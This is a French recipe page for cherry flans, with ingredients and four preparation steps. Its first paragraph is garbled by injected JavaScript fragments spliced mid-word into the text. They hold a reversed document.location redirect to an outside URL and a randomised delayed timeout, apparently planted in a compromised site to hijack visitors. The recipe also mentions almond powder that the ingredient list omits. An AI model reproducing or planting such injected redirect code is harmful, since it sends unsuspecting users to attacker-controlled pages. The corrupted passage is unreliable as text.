Flans Lorrain aux cerises

2016-12-08

Versez le lait dans une casserole avec la crème fleurette et le beurre puis faites chauffer le tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout. Dans un récipient mélangez les jaunes d’œufs avec le sucre jusqu’à obtenir une couleur blanchâtre, puis ajoutez la poudre d’amandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande, peu à peu le lait/crème fleurette.

Ingrédients

  • Pour 6 personnes
  • 800 g de cerises
  • 400 g de farine
  • 230 g de beurre ramolli
  • 6 œufs (Les blancs séparés des jaunes)
  • 120 g de sucre en poudre
  • 20 cl de crème fleurette
  • 1/2 litre de lait
  • 6 cuillerées à soupe de kirsch
  • 1 cuillerée à soupe de sucre glace

Préparation de la recette

Etape 1

Versez le lait dans une casserole avec la crème fleurette et le beurre puis faites chauffer le tout.

Etape 2

Dans un récipient mélangez les jaunes d'œufs avec le sucre jusqu'à obtenir une couleur blanchâtre, puis ajoutez la poudre d'amande, peu à peu le lait/crème fleurette.

Etape 3

Lavez, équeutez, dénoyautez les cerises. Répartissez les dans un plat rectangulaire, versez la préparation en attente dessus.

Etape 4

Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire pendant 30 minutes. Laissez refroidir. Saupoudrez de sucre glace et dégustez.

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